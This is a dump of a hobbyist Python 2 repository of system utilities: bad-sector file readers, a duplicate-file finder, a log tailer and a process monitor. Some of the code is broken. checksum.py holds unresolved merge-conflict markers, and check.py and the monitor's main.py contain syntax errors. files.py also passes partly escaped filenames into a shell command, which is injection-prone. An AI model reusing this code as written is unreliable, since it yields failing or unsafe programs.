-------------------------------------------------------------------------------- /File_operation/file_test/file_4.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | from multiprocessing import Process, Queue 3 | import os, time, random 4 | import logging 5 | import commands 6 | from datetime import datetime 7 | 8 | Path = r"/home/lau/下载" 9 | from multiprocessing import Pool 10 | import os, time, random 11 | 12 | def long_time_task(name): 13 | print 'Run task %s (%s)...' % (name, os.getpid()) 14 | start = time.time() 15 | time.sleep(random.random() * 3) 16 | end = time.time() 17 | print 'Task %s runs %0.2f seconds.' % (name, (end - start)) 18 | 19 | if __name__=='__main__': 20 | print 'Parent process %s.' % os.getpid() 21 | p = Pool() 22 | for i in range(5): 23 | p.apply_async(long_time_task, args=(i,)) 24 | print 'Waiting for all subprocesses done...' 25 | p.close() 26 | p.join() 27 | print 'All subprocesses done.' 28 | -------------------------------------------------------------------------------- /File_operation/file_test/file_example.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | import os, os.path 3 | import commands 4 | import logging 5 | import time 6 | from datetime import datetime 7 | from functools import wraps 8 | import time 9 | from multiprocessing import Pool 10 | 11 | 12 | Path = r"/media" 13 | 14 | print([os.path.join(root,fn) for root,dirs,files in os.walk(Path) for fn in files]) -------------------------------------------------------------------------------- /File_operation/file_test/file_log.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | logging.basicConfig(level=logging.DEBUG, 4 | format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s', 5 | datefmt='%a, %d %b %Y %H:%M:%S', 6 | filename='myapp.log', 7 | filemode='w') 8 | 9 | 10 | console = logging.StreamHandler() 11 | console.setLevel(logging.INFO) 12 | formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') 13 | console.setFormatter(formatter) 14 | logging.getLogger('').addHandler(console) 15 | 16 | 17 | logging.debug('This is debug message') 18 | logging.info('This is info message') 19 | logging.warning('This is warning message') -------------------------------------------------------------------------------- /File_operation/file_test/files.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | import os, os.path 3 | import commands 4 | import logging 5 | import time 6 | from datetime import datetime 7 | from functools import wraps 8 | 9 | Path = r"/home/lau/下载" 10 | 11 | 12 | #函数递归遍历目录 13 | def visitDir(arg, dirname, names): 14 | t1 = time.time() 15 | for filepath in names: 16 | filename = os.path.join(dirname, filepath) 17 | #文件名处理 18 | filenames = filename_processing(filename) 19 | #读文件操作 20 | read_file(filenames) 21 | 22 | 23 | #文件名的处理,文件名内含有空格,括号,书名号等,不能直接调用dd,在对文件名处理后进行调用 24 | def filename_processing(filename): 25 | filename = filename.replace(" ", "\\ ").replace("(", "\\(").\ 26 | replace(")", "\\)").replace("<", "\\<").replace(">", "\\>") 27 | return filename 28 | 29 | #读文件 30 | def read_file(filename): 31 | logging.basicConfig(filename='file.log', filemode="w", level=logging.DEBUG) 32 | if os.path.isdir(filename): 33 | print " %s It is a dictory!!" %(filename) 34 | else: 35 | file, output = commands.getstatusoutput('dd if=' + filename) 36 | #如果返回值=0,说明文件可以正常读取,反之则否 37 | if file == 0: 38 | logging.info('%s This is helath file!' %(filename)) 39 | else: 40 | logging.warning("%s:%s:%s" %(datetime.now(),filename,output)) 41 | 42 | 43 | if __name__ == "__main__": 44 | os.path.walk(Path, visitDir, ()) 45 | -------------------------------------------------------------------------------- /File_operation/file_test/new_fike.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | # !/user/bin/python 3 | # !conding=utf8 4 | import os 5 | s = os.sep 6 | root = "/home" 7 | 8 | for i in os.listdir(root): 9 | if os.path.isfile(os.path.join(root,i)): 10 | print i -------------------------------------------------------------------------------- /File_operation/file_test/new_file.py: -------------------------------------------------------------------------------- 1 | from multiprocessing import Pool 2 | import time 3 | 4 | 5 | def mycallback(x): 6 | with open('123.txt', 'a+') as f: 7 | f.writelines(str(x)) 8 | 9 | 10 | def sayHi(num): 11 | return num 12 | 13 | 14 | if __name__ == '__main__': 15 | e1 = time.time() 16 | pool = Pool() 17 | 18 | for i in range(100): 19 | pool.apply_async(sayHi, (i,), callback=mycallback) 20 | 21 | pool.close() 22 | pool.join() 23 | e2 = time.time() 24 | print float(e2 - e1) -------------------------------------------------------------------------------- /File_operation/file_test/processing_example.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from multiprocessing import Process,Queue,Pool 3 | import multiprocessing 4 | import os, time, random 5 | 6 | Path = r"/home/lau/下载/" 7 | # 写数据进程执行的代码: 8 | def write(q, lock): 9 | lock.acquire() 10 | for i in range(1, 10): 11 | print 'Put %s to queue...' %i 12 | os.path.walk(Path, visitDir, ()) 13 | q.put(i) 14 | lock.release() 15 | 16 | def visitDir(arg, dirname, names): 17 | for filepath in names: 18 | filename = os.path.join(dirname, filepath) 19 | print filename 20 | # 读数据进程执行的代码: 21 | def read(q): 22 | while True: 23 | if not q.empty(): 24 | value = q.get(True) 25 | print 'Get %s from queue.' % value 26 | time.sleep(random.random()) 27 | else: 28 | break 29 | 30 | if __name__=='__main__': 31 | manager = multiprocessing.Manager() 32 | # 父进程创建Queue,并传给各个子进程: 33 | q = manager.Queue() 34 | lock = manager.Lock() # 初始化一把锁 35 | p = Pool() 36 | pw = p.apply_async(write, args=(q, lock)) 37 | pr = p.apply_async(read, args=(q,)) 38 | p.close() 39 | p.join() 40 | 41 | print 42 | print u'所有数据都写入并且读完' -------------------------------------------------------------------------------- /File_operation/pool_map/Directory.log: -------------------------------------------------------------------------------- 1 | WARNING:root:2018-01-11 17:32:48.862892:/home/lau/下载/pycharm/plugins/textmate/lib/themes/All\ Hallow's\ Eve.tmTheme: 2 | -------------------------------------------------------------------------------- /File_operation/pool_map/Directory.txt: -------------------------------------------------------------------------------- 1 | test2000Wpycharmtest2000Wpycharm -------------------------------------------------------------------------------- /File_operation/pool_map/check.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | import os, time, random 3 | import logging 4 | import commands 5 | from datetime import datetime 6 | import multiprocessing 7 | 8 | #取得Directory的目录,依次去读取。 9 | def create_directory(): 10 | dir = [] 11 | f = open("Directory.txt", "r") 12 | for i in f.read(): 13 | return dir 14 | 15 | 16 | print(create_directory()) 17 | -------------------------------------------------------------------------------- /File_operation/project/check-files使用手册.md: -------------------------------------------------------------------------------- 1 | ## check_file所含文件 2 | checkDiskBadSectors.sh 3 | 作用:解压checkDiskBadSectors.tar.gz到/opt文件夹下,添加crontable定时任务,六点启动 4 | create_file.py 5 | 作用:生成1000个大小为100M的测试文件,位于/infinity/下,大小,个数可以自己去修改. 6 | checkDiskBadSectors.tar.gz 7 | 作用:解压后生成一个checkDiskBadSectors.py文件,去读取/infinity/下所用文件,并且将读取错误的文件写入日志。 -------------------------------------------------------------------------------- /File_operation/project/checkDiskBadSectors.sh: -------------------------------------------------------------------------------- 1 | echo "*/1 * * * * root python /opt/checkDiskBadSectors/checkDiskBadSectors.py >> /opt/checkDiskBadSectors/checkDiskBadSectors.log" >> /etc/crontab 2 | tar xvf ./checkDiskBadSectors.tar.gz -C /opt 3 | 4 | 5 | -------------------------------------------------------------------------------- /File_operation/project/checkDiskBadSectors.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/project/checkDiskBadSectors.tar.gz -------------------------------------------------------------------------------- /File_operation/project/create_file.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | 6 | #生成测试文件1000个,大小为100M,可以手动更改大小和数量d 7 | 8 | def creatfilesize(n,name): 9 | # local_time = time.strftime("%Y%m%d%H%M%S",time.localtime()) 10 | #写入测试文件 11 | file_name = "/infinity/%s.txt" % name 12 | bigFile= open(file_name, 'w') 13 | bigFile.seek(1024*1024*n) 14 | bigFile.write('test') 15 | bigFile.close() 16 | print "ALL down !" 17 | 18 | if __name__ == '__main__': 19 | for i in range(1000): 20 | #生成文件1000个,大小为100m/每个 21 | creatfilesize(100,i) 22 | -------------------------------------------------------------------------------- /File_operation/read_file/checkDiskBadSectors.sh: -------------------------------------------------------------------------------- 1 | echo "*/1 * * * * root python /opt/checkDiskBadSectors/checkDiskBadSectors.py >> /opt/checkDiskBadSectors/checkDiskBadSectors.log" >> /etc/crontab 2 | tar xvf ./checkDiskBadSectors.tar.gz -C /opt 3 | -------------------------------------------------------------------------------- /File_operation/read_file/checkDiskBadSectors.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/read_file/checkDiskBadSectors.tar.gz -------------------------------------------------------------------------------- /File_operation/read_file/checkDiskBadSectors/checkDiskBadSectors.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import ctypes 3 | import time 4 | import os 5 | import logging 6 | import multiprocessing 7 | 8 | 9 | # 规定目录 10 | Path = "/infinity" 11 | # 日志文件 12 | logging.basicConfig(filename="file.log", filemode="w", level=logging.DEBUG) 13 | # 断点文件 14 | file_name = "file.tmp" 15 | # 读文件函数,调取C语言写的动态库 16 | def read(filename): 17 | print 'Get %s from queue.' % filename 18 | # 将已经读取过的文件写入到file.txt文件中,方便断点续跑 19 | f = open(file_name, "a+") 20 | f.write(filename + "\n") 21 | f.close() 22 | # ctypes加载c的dll文件 23 | ll = ctypes.cdll.LoadLibrary 24 | lib = ll("./libpycall.so") 25 | file = lib.rd(filename) 26 | # 如果文件损坏 or 不存在 27 | if file < 0: 28 | logging.warning("%s 错误!" % (filename)) 29 | else: 30 | print(file) 31 | 32 | 33 | def work(filename): 34 | # 开启10个进程 35 | p = multiprocessing.Pool(11) 36 | for i in filename: 37 | p.apply_async(read, args=(i,)) 38 | p.close() 39 | p.join() 40 | 41 | def check_file(): 42 | # 读取文件 43 | if os.path.exists(file_name): 44 | logging.info("读取日志文件.......") 45 | f = open(file_name) 46 | data = [line.strip() for line in f] 47 | data2 = [os.path.join(root,fn) for root,dirs,files in os.walk(Path) 48 | for fn in files] 49 | # 这里用到了列表比较,对比file.txt和目录文件,剔除相同的文件,生成新的列表跑文件 50 | filename = list(set(data) ^ set(data2)) 51 | work(filename) 52 | else: 53 | logging.info("日志文件不存在......") 54 | filename = [os.path.join(root, fn) for root, dirs, files in os.walk(Path) for fn in files] 55 | work(filename) 56 | 57 | if __name__=='__main__': 58 | t1 = time.time() 59 | check_file() 60 | t2 = time.time() 61 | # 删除txt文件 62 | if os.path.exists(file_name): 63 | os.remove(file_name) 64 | logging.info("所有文件都已经读完,用时:%d"%(int(t2-t1))) -------------------------------------------------------------------------------- /File_operation/read_file/checkDiskBadSectors/libpycall.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/read_file/checkDiskBadSectors/libpycall.so -------------------------------------------------------------------------------- /File_operation/read_file/create_file.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import time 5 | 6 | #生成测试文件1000个,大小为100M,可以手动更改大小和数量d 7 | 8 | def creatfilesize(n,name): 9 | # local_time = time.strftime("%Y%m%d%H%M%S",time.localtime()) 10 | #写入测试文件 11 | file_name = "/infinity/%s.txt" % name 12 | bigFile= open(file_name, 'w') 13 | bigFile.seek(1024*1024*n) 14 | bigFile.write('test') 15 | bigFile.close() 16 | print "ALL down !" 17 | 18 | if __name__ == '__main__': 19 | for i in range(1000): 20 | #生成文件1000个,大小为100m/每个 21 | creatfilesize(100,i) -------------------------------------------------------------------------------- /File_operation/read_file/read_files使用手册.md: -------------------------------------------------------------------------------- 1 | check_file所含文件 2 | 3 | checkDiskBadSectors.sh 作用:解压checkDiskBadSectors.tar.gz到/opt文件夹下,添加crontable定时任务,六点启动 4 | create_file.py 作用:生成1000个大小为100M的测试文件,位于/infinity/下,大小,个数可以自己去修改. 5 | checkDiskBadSectors.tar.gz 作用:解压后生成一个checkDiskBadSectors.py文件,去读取/infinity/下所用文件,并且将读取错误的文件写入日志。 6 | 7 | -------------------------------------------------------------------------------- /File_operation/read_files使用手册.md: -------------------------------------------------------------------------------- 1 | check_file所含文件 2 | 3 | checkDiskBadSectors.sh 作用:解压checkDiskBadSectors.tar.gz到/opt文件夹下,添加crontable定时任务,六点启动 4 | create_file.py 作用:生成1000个大小为100M的测试文件,位于/infinity/下,大小,个数可以自己去修改. 5 | checkDiskBadSectors.tar.gz 作用:解压后生成一个checkDiskBadSectors.py文件,去读取/infinity/下所用文件,并且将读取错误的文件写入日志。 6 | 7 | -------------------------------------------------------------------------------- /File_operation/repeat/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" -------------------------------------------------------------------------------- /File_operation/repeat/checksum.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import hashlib,sys 7 | import os 8 | 9 | # 分块读MD,速度快 10 | 11 | def create_checksum(path): 12 | fp = open(path) 13 | checksum = hashlib.md5() 14 | while True: 15 | buffer = fp.read(8192) 16 | if not buffer: break 17 | checksum.update(buffer) 18 | fp.close() 19 | checksum = checksum.digest() 20 | return checksum 21 | <<<<<<< HEAD 22 | ======= 23 | 24 | 25 | _FILE_SLIM = (100 * 1024 * 1024) # 100MB 26 | 27 | 28 | def file_md5(filename): 29 | calltimes = 0 30 | hmd5 = hashlib.md5() 31 | fp = open(filename, "rb") 32 | f_size = os.stat(filename).st_size 33 | if f_size > _FILE_SLIM: 34 | while (f_size > _FILE_SLIM): 35 | hmd5.update(fp.read(_FILE_SLIM)) 36 | f_size /= _FILE_SLIM 37 | calltimes += 1 # delete 38 | if (f_size > 0) and (f_size <= _FILE_SLIM): 39 | hmd5.update(fp.read()) 40 | else: 41 | hmd5.update(fp.read()) 42 | 43 | return (hmd5.hexdigest(), calltimes) 44 | 45 | 46 | if __name__ == '__main__': 47 | (hvalue, ctimes) = file_md5("./__init__.py") 48 | print(hvalue) 49 | >>>>>>> e86329e7ec960a55619765e7287214dde46bc417 50 | -------------------------------------------------------------------------------- /File_operation/repeat/diskwalk.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import os,sys 7 | 8 | 9 | class diskwalk(object): 10 | def __init__(self, path): 11 | self.path = path 12 | def paths(self): 13 | path = self.path 14 | path_collection = (os.path.join(root,fn) for root,dirs,files in os.walk(path) for fn in files) 15 | return path_collection 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /File_operation/repeat/find_dupes.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | from checksum import create_checksum,file_md5 7 | from diskwalk import diskwalk 8 | from os.path import getsize 9 | import csv 10 | import sys 11 | 12 | 13 | def findDupes(path): 14 | record = {} 15 | dup = {} 16 | d = diskwalk(path) 17 | files = d.paths() 18 | for file in files: 19 | try: 20 | compound_key = (getsize(file),file_md5(file)) 21 | if compound_key in record: 22 | dup[file] = record[compound_key] 23 | else: 24 | record[compound_key]=file 25 | except: 26 | continue 27 | return dup 28 | 29 | 30 | if __name__ == '__main__': 31 | file_list = dict() 32 | v = list() 33 | with open("test.csv","a+") as csvfile: 34 | header = ["源文件", "重复文件"] 35 | writer = csv.DictWriter(csvfile, fieldnames=header) 36 | writer.writeheader() 37 | for file in findDupes("/Users/yemilice/").items(): 38 | writer.writerow({"源文件":file[1],"重复文件":file[0]}) 39 | -------------------------------------------------------------------------------- /File_operation/repeat/main.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | from checksum import create_checksum 7 | from diskwalk import diskwalk 8 | from os.path import getsize 9 | import csv 10 | import os 11 | import sys 12 | reload(sys) 13 | sys.setdefaultencoding('utf8') 14 | 15 | 16 | def findDupes(path): 17 | record = {} 18 | dup = {} 19 | d = diskwalk(path) 20 | files = d.paths() 21 | for file in files: 22 | try: 23 | #compound_key = (getsize(file),create_checksum(file)) 24 | compound_key = (getsize(file), file.split("/")[-1]) 25 | if compound_key in record: 26 | dup[file] = record[compound_key] 27 | else: 28 | record[compound_key]=file 29 | except: 30 | continue 31 | return dup 32 | 33 | 34 | if __name__ == '__main__': 35 | path = sys.argv[1] 36 | csv_path = sys.argv[2] 37 | if not os.path.isdir(path) or not os.path.isdir(csv_path) or csv_path[-1] != "/": 38 | print u"参数不是一个有效的文件夹!" 39 | exit() 40 | else: 41 | path = path.decode("utf-8") 42 | print u"待检测的文件夹为{path}".format(path=path) 43 | with open(u"{csv_path}重复文件.csv".format(csv_path=csv_path),"w+") as csvfile: 44 | # 源文件 重复文件 45 | header = ["Source", "Duplicate"] 46 | writer = csv.DictWriter(csvfile, fieldnames=header) 47 | writer.writeheader() 48 | print u"开始遍历文件夹,寻找重复文件,请等待........." 49 | print u"开始写入CSV文件,请等待........" 50 | for file in findDupes(path).items(): 51 | writer.writerow({"Source":file[1],"Duplicate":file[0]}) 52 | -------------------------------------------------------------------------------- /File_operation/repeat/pip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/File_operation/repeat/pip -------------------------------------------------------------------------------- /File_operation/repeat/检测重复文件.md: -------------------------------------------------------------------------------- 1 | # 检测重复文件脚本 2 | ## 功能 3 | 1. 检测重复文件 4 | 2. 将重复文件名,地址等输出至指定的csv文件中 5 | ## 如何使用 6 | 1. 主函数main.py python main.py /root/CQ(跟要检测的路径名) /root/./(文件存放位置) 7 | ## 检测 8 | 检测脚本会生成一个统计文件,重复文件.csv,会写入到本地文件夹内,但是也可以自己指定位置,用法同上 9 | ## 其他注意事项 10 | 1. 在windows下,目录写法有所不同,/为\\\请注意 11 | 2. 文件存放位置不能写成/root,需要写成/root/这种形式,也就是必须要跟一个完整的路径。 12 | 3. 重复文件.csv有两列,左边为源文件,右边为重复文件,源文件的判定逻辑是创建时间+MD5+文件大小 13 | ## 整体思路 14 | 1. 定义了迭代器+列表生成器,遍历大文件夹提高效率并且降低CPU,内存负载 15 | 2. 定义了一个分块逻辑,计算MD5大小匹配时更加精准 16 | 3. 定义了一个交互逻辑,可以自定义检测文件夹和csv存放位置 17 | ## 测试输出 18 | ### 测试500G的环境 19 | 1. 用时15分钟,CPU占有率稳定在百分之5以下,最后写入csv时提高到百分之7,但是很快就结束了,内存始终稳定300M 20 | 2. 出现异常将会跳过,不会耽误太长时间 21 | -------------------------------------------------------------------------------- /Log_server/README.md: -------------------------------------------------------------------------------- 1 | # 日志监控服务 2 | ## 项目功能 3 | 1. 监控日志文件变化 4 | 2. 检测变化之后写入各种数据库 5 | 3. 断点操作,当服务关闭打开后自动从上次截断的地方继续更新 6 | 4. 实现类似filebeat的功能 7 | 5. 日志格式化(假设) 8 | 9 | 10 | ## 项目逻辑 11 | 1. 实现类似tail -f 的功能 12 | 2. 实现写入数据库的功能 13 | 3. 实现格式化的功能 14 | 15 | 16 | ## 开发日志 17 | 2019-5-29:项目开始开发,定义了项目的基础架构和要实现的功能,实现了实时监控文件的方法 -------------------------------------------------------------------------------- /Log_server/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' -------------------------------------------------------------------------------- /Log_server/access-log: -------------------------------------------------------------------------------- 1 | Hello, world! 2 | Hello, world! 3 | Hello, world! 4 | Hello, world! 5 | Hello, world! 6 | Hello, world! 7 | Hello, world! 8 | Hello, world!de 9 | Hello, world!de 10 | Hello, world!de 11 | Hello, world!de 12 | Hello, world!de 13 | Hello, world!de 14 | Hello, world!de 15 | Hello, world!de 16 | Hello, world!de 17 | Hello, world!de 18 | Hello, world!de 19 | Hello, world!de + 1 20 | Hello, world!de + 2 21 | Hello, world!de + 3 22 | Hello, world!de + 4 23 | Hello, world!de + 5 24 | Hello, world!de + 6 25 | Hello, world!de + 7 26 | Hello, world!de + 8 27 | Hello, world!de + 9 28 | -------------------------------------------------------------------------------- /Log_server/monitor.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | import time 7 | 8 | def follow(thefile): 9 | thefile.seek(0,2) 10 | while True: 11 | line = thefile.readline() 12 | if not line: 13 | time.sleep(0.01) 14 | continue 15 | 16 | yield line 17 | 18 | if __name__ == '__main__': 19 | logfile = open("access-log","r") 20 | loglines = follow(logfile) 21 | for line in loglines: 22 | print line -------------------------------------------------------------------------------- /Log_server/test_monitor/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' -------------------------------------------------------------------------------- /Log_server/test_monitor/test_log.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | import time 6 | 7 | def follow(thefile): 8 | thefile.seek(0, 2) 9 | while True: 10 | line = thefile.readline() 11 | if not line: 12 | time.sleep(0.1) 13 | continue 14 | yield line 15 | 16 | 17 | if __name__ == '__main__': 18 | logfile = open('access-log', 'r') 19 | loglines = follow(logfile) 20 | for line in loglines: 21 | print line 22 | -------------------------------------------------------------------------------- /Log_server/test_monitor/test_write.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | f = open('../access-log', 'a+') 5 | for i in range(1, 10): 6 | f.write('Hello, world!de + {i}\n'.format(i=i)) 7 | f.close() -------------------------------------------------------------------------------- /Monitoring/Monitor/Check/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor/Check/check_threading.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 这里考虑了阈值情况,如果启用的话,如果超过阈值,就写入到日志中, 6 | 如果没有超过阈值,那么就做持续监控,直到超过为止 7 | """ 8 | 9 | import os 10 | import re 11 | import psutil 12 | import prettytable 13 | 14 | 15 | def process_have(cpu, memory): 16 | os.popen('ps aux|head -1;ps aux|grep -v PID|sort -rn -k +3 > total.tmp') 17 | with open("total.tmp", "r") as f: 18 | lines = f.readlines() 19 | 20 | dicts = {} 21 | for i in lines: 22 | # 用正则去规范化字符串 23 | lines_strs = re.sub(' +', ',', i) 24 | a = lines_strs.split(",") 25 | # 如果超过阈值,写入字典待用 26 | if float(a[2]) >= cpu and float(a[3]) >= memory: 27 | dicts[a[1]] = a[2] 28 | os.remove('total.tmp') 29 | cpu_dicts = dicts 30 | ps_result = list() 31 | for key, value in cpu_dicts.items(): 32 | try: 33 | p = psutil.Process(int(key)) 34 | ps_result.append(dict(name=p.name(), pid=int(key), cpu_percent=value, 35 | memory_percent=p.memory_percent())) 36 | except: 37 | pass 38 | # 排序,输出 39 | table = prettytable.PrettyTable() 40 | table.field_names = ["No.", "Name", "Pid", "Cpu_percent", "Memory_percent"] 41 | for i, item in enumerate(sorted(ps_result, key=lambda x: x['cpu_percent'], reverse=True)): 42 | table.add_row( 43 | [i + 1, item['name'], item['pid'], format(str(item['cpu_percent']) + "%"), 44 | format(item['memory_percent'] / 100, '.2%')]) 45 | if i >= 9: 46 | break 47 | return str(table) 48 | -------------------------------------------------------------------------------- /Monitoring/Monitor/Log/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor/Log/monitor_log.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 调取日志系统,日志打包,存储 6 | """ 7 | import logging 8 | import time 9 | import logging.handlers 10 | 11 | rq = time.strftime('%Y%m%d', time.localtime(time.time())) 12 | 13 | 14 | class Log(object): 15 | '''日志类 ''' 16 | def __init__(self, name): 17 | self.path = "/User/aaa/log/" # 定义日志存放路径 18 | self.filename = self.path + rq + '.log' # 日志文件名称 19 | self.name = name # 为%(name)s赋值 20 | self.logger = logging.getLogger(self.name) 21 | # 控制日志文件中记录级别 22 | self.logger.setLevel(logging.INFO) 23 | # 控制输出到控制台日志格式、级别 24 | self.ch = logging.StreamHandler() 25 | gs = logging.Formatter( 26 | '%(asctime)s - %(levelname)s - %(name)s[line:%(lineno)d] - %(message)s') 27 | self.ch.setFormatter(gs) 28 | # self.ch.setLevel(logging.NOTSET) 写这个的目的是为了能控制控制台的日志输出级别,但是实际中不生效,不知道为啥,留着待解决 29 | # 日志保留10天,一天保存一个文件 30 | self.fh = logging.handlers.TimedRotatingFileHandler(self.filename, 'D', 1, 10) 31 | # 定义日志文件中格式 32 | self.formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(name)s[line:%(lineno)d] - %(message)s') 33 | self.fh.setFormatter(self.formatter) 34 | self.logger.addHandler(self.fh) 35 | self.logger.addHandler(self.ch) 36 | 37 | 38 | class customError(Exception): 39 | """ 40 | 自定义异常类,用在主动输出异常时使用,用 raise关键字配合使用,例: 41 | if True: 42 | pass 43 | else: 44 | raise customError(msg) 45 | """ 46 | def __init__(self, msg=None): 47 | self.msg = msg 48 | 49 | def __str__(self): 50 | if self.msg: 51 | return self.msg 52 | else: 53 | return "错误的语法" 54 | -------------------------------------------------------------------------------- /Monitoring/Monitor/Monitor/Monitor_process.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 监控分为持续监控和自定义监控 6 | 持续监控会每60s统计出占比前十的进程,不停的将其打入日志 7 | 自定义监控可以自定监控的频率,监控指定进程,打印所需要的数据 8 | 例如固定进程的CPU,内存,线程占用等 9 | """ 10 | import sys 11 | sys.path.append("..") 12 | from Check import check_cpu, check_memory, check_process, check_threading 13 | from Log import monitor_log 14 | import getopt 15 | import json 16 | import time 17 | 18 | 19 | f = open("/Monitor/setting.json", "r") 20 | setting = json.load(f) 21 | cpu_max = float(setting["CPU_max"]) 22 | memeory_max = float(setting["Memory_max"]) 23 | check_time = setting["time"] 24 | 25 | 26 | 27 | def run_process_have(): 28 | return check_threading.process_have(cpu_max, memeory_max) 29 | 30 | 31 | def run_check_process(name): 32 | return check_process.get_process(name) 33 | 34 | 35 | def run_check_process_thread(name): 36 | return check_process.get_process(name) 37 | 38 | 39 | def run_get_cpu(): 40 | return check_cpu.get_cpu_none() 41 | 42 | 43 | def run_get_memory(): 44 | return check_memory.get_memory() 45 | 46 | 47 | def run_get_cpu_have(): 48 | return check_cpu.get_cpu_have(cpu_max) 49 | 50 | 51 | def run_get_memory_have(): 52 | return check_memory.get_memory_have(memeory_max) -------------------------------------------------------------------------------- /Monitoring/Monitor/Monitor/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Monitoring/Monitor/Monitor/__init__.py -------------------------------------------------------------------------------- /Monitoring/Monitor/Monitor/setting.json: -------------------------------------------------------------------------------- 1 | {"CPU_max": 10, "Memory_max": 20, "time": 30} -------------------------------------------------------------------------------- /Monitoring/Monitor/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' -------------------------------------------------------------------------------- /Monitoring/Monitor/main.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 主启动程序 所有的源头 6 | """ 7 | 8 | from operation import run, Modify_configuration, get_cpu_top, get_memory_top 9 | import sys 10 | import getopt 11 | import json 12 | import time 13 | 14 | 15 | 16 | if __name__ == "__main__": 17 | while True: 18 | print("#" * 30) 19 | print("监控将全部记入日志") 20 | print("选择相对应的监控服务") 21 | print("1:编辑配置文件\n" 22 | "2:根据配置文件监控符合条件的进程\n" 23 | "3:监控CPU占比率前十的进程\n" 24 | "4:监控内存占比前十的进程\n" 25 | "5:获取指定进程的线程(需要输入进程名)\n" 26 | "6:获取指定进程的CPU,内存占比(需要输入进程名)\n" 27 | "7:查看正在进行的监控\n" 28 | "8:帮助\n" 29 | "9:退出") 30 | print("#" * 30) 31 | str = raw_input("输入相对应的数字: ") 32 | if str == "1": 33 | Modify_configuration.revise() 34 | elif str == "2": 35 | pass 36 | elif str == "3": 37 | get_cpu_top.get_cpu() 38 | elif str == "4": 39 | get_memory_top.get_memory() 40 | elif str == "5": 41 | 42 | else: 43 | pass 44 | 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /Monitoring/Monitor/operation/Modify_configuration.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import json 5 | import sys 6 | 7 | 8 | def revise(): 9 | while True: 10 | print("修改哪一项?") 11 | with open("./Monitor/setting.json", "rb") as load_f: 12 | load_dict = json.load(load_f) 13 | print("1.CPU阀值:{0}%\n" 14 | "2.内存阀值:{1}%\n" 15 | "3.检测时间:{2}秒\n" 16 | "4.返回上一步".format(load_dict["CPU_max"], load_dict["Memory_max"], load_dict["time"])) 17 | str = raw_input("输入对应的数字: ") 18 | if str == "1": 19 | str = input("输入修改的数值: ") 20 | if int(str) > 100 or int(str) < 0: 21 | print("输入值不合法!检查你的输入是否大于100或者小于0!") 22 | print("返回上一步.........") 23 | else: 24 | load_dict["CPU_max"] = str 25 | print("修改成功!") 26 | print("返回上一步.........") 27 | elif str == "2": 28 | str = input("输入修改的数值: ") 29 | if int(str) > 100 or int(str) < 0: 30 | print("输入值不合法!检查你的输入是否大于100或者小于0!") 31 | print("返回上一步.........") 32 | 